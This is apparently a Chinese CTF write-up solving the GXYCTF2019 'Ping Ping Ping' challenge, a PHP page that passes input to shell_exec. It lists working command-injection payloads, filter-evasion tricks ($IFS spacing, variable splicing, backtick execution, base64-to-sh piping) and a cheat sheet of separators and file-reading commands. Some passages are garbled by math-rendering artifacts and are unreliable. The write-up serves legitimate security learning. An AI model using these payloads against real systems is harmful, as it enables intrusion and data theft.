BUUCTF-[GXYCTF2019] Ping Ping Ping

BUUCTF-[GXYCTF2019] Ping Ping Ping

考点:

1、命令联合执行

2、命令绕过空格的方法

3、内联执行

一、命令联合执行

; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

二、命令绕过空格的方法

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 // 1 改 成 1改成 1加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=KaTeX parse error: Undefined control sequence: \x at position 5: 'cat\̲x̲09./flag.php';X (\x09表示tab,也可以用\x20)

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

三、内联执行

?ip=127.0.0.1;cat$IFS$9```ls`` `

$IFS在Linux下表示为空格
9 是 当 前 系 统 s h e l l 进 程 第 九 个 参 数 持 有 者 , 始 终 为 空 字 符 串 , 9是当前系统shell进程第九个参数持有者,始终为空字符串, 9shell后可以接任意数字

这里$IFS 9 或 9或 9IFS垂直,后面加个$与{}类似,起截断作用

四、解题

1、随便输入ip后发现得到回显,接着用|或者;来执行命令

?ip=127.0.0.1;ls

此时得到了回显:

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

2、显然,我们需要访问flag.php

?ip=127.0.0.1;cat flag.php

得到回显,此时,我们发现她过滤了空格

/?ip= fxck your space!

3、按照空格命令绕过的方法,用${IFS}$代替

?ip=127.0.0.1;cat${IFS}flag.php 

得到回显,此时,我们发现它过滤吊了{}

fxck your symbol! # 过滤{}

4、用$IFS$1或者$IFS$代替。$1表示过滤的第一个参数

?ip=127.0.0.1;cat$IFS$1flag.php
?ip=127.0.0.1;cat$IFSflag.php	

得到回显,此时,我们发现它过滤掉了flag字符

/?ip= fxck your flag!

5、那么我们去看看index.php

?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

从上方的代码可以看出,过滤吊了一些特殊字符:

& /* < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

接下来就是构造payload的阶段了。

方法1 简单变量替换,用$a覆盖拼接flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码即可获得flag。

方法2 变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php

查看源码即可获得flag。

方法3 内联执行
?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`

得到页面回显

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes

$flag = "flag{d893b431-5300-4b46-9b52-3a5a2390cfca}";
?>
/?ip=

if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

此时查看源码即可得到flag。

方法4 被过滤的bash,用管道+sh替换

cat flag.php用base64加密来绕过正则匹配,base64加密后的数据是Y2F0IGZsYWcucGhw

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

得到回显,提示说是过滤了bash,但是sh没有过滤,此时根据此构造payload,|sh 就是执行前面的echo脚本

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

五、类似题目的思路

cat fl**匹配任意 
cat fla**匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

六、通配符

*     #匹配全部字符,通配符
?    #任意一个字符,通配符
[]      #表示一个范围(正则,通配符)
{}      #产生一个序列(通配符)

七、命令执行漏洞

exec()函数

exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。
语法 : string exec(string command, string [array], int [return_var]);
传回值 : 字串
函式种类 : 作业系统与环境

system:调用系统命令函数
 $a=$_GET['a']; $output=system($a); echo $output; ?>
assert:assert能帮助我们执行一些php的指令,并且对于代码的规范不是很严格
 $a=$_GET['a']; $output=assert($a); echo $output; ?>
eval:eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
 $a=$_GET['a']; $output=eval($a); echo $output; ?>
passthru:passthru — 执行外部程序并且显示原始输出。
 $a=$_GET['a']; $output=passthru($a); echo $output; ?>
preg_replace:pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。
 $a = $_GET['a']; echo preg_replace("/test/e", $a, "just test!") ?>
popen:popen() 函数打开进程文件指针,就跟c语言当中fopen函数差不多。
 $file = popen("/bin/ls","r"); pclose($file); ?>
命令执行漏洞的空格过滤

在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS这些都可以当做空格符作为代替。

一些命令分隔符:

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a

花括号的别样用法:

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}

拼接绕过黑名单

a=l;b=s; a a ab
a=fl;b=ag;cat a a ab

编码绕过
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
单引号,双引号绕过:

ca’'t flag 或ca""t flag

反斜杠绕过

1; l\s -l;1

利用shell特殊变量绕过

1; l @ s − l ; 1 ⋅ 1 ; l @s -l;1 · 1; l @sl;11;l*s -l;1 1; l$ns -l;1 //n为任意数字都可以

绕过长度限制

1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。

其他方法

利用通配符: 1; cat I F S f l ∗ ; 1 最 简 单 的 : 1 ; c a t ∗ ; 11 ; c a t {IFS}fl* ;1 最简单的:1;cat *;1 1; cat IFSfl;11cat11;cat{IFS}fla? ;1
1; cat${IFS}fla[^1] ;1

当cat被过滤后

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

<与<<的区别

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。

文件读取绕过
root@kali:~# ls -t
flag
root@kali:~# ls -t > a
root@kali:~# sh a
flag wwww
利用base64编码绕过
root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt 
sss
ddd

你可能感兴趣的:(CTF,Web,shell,php)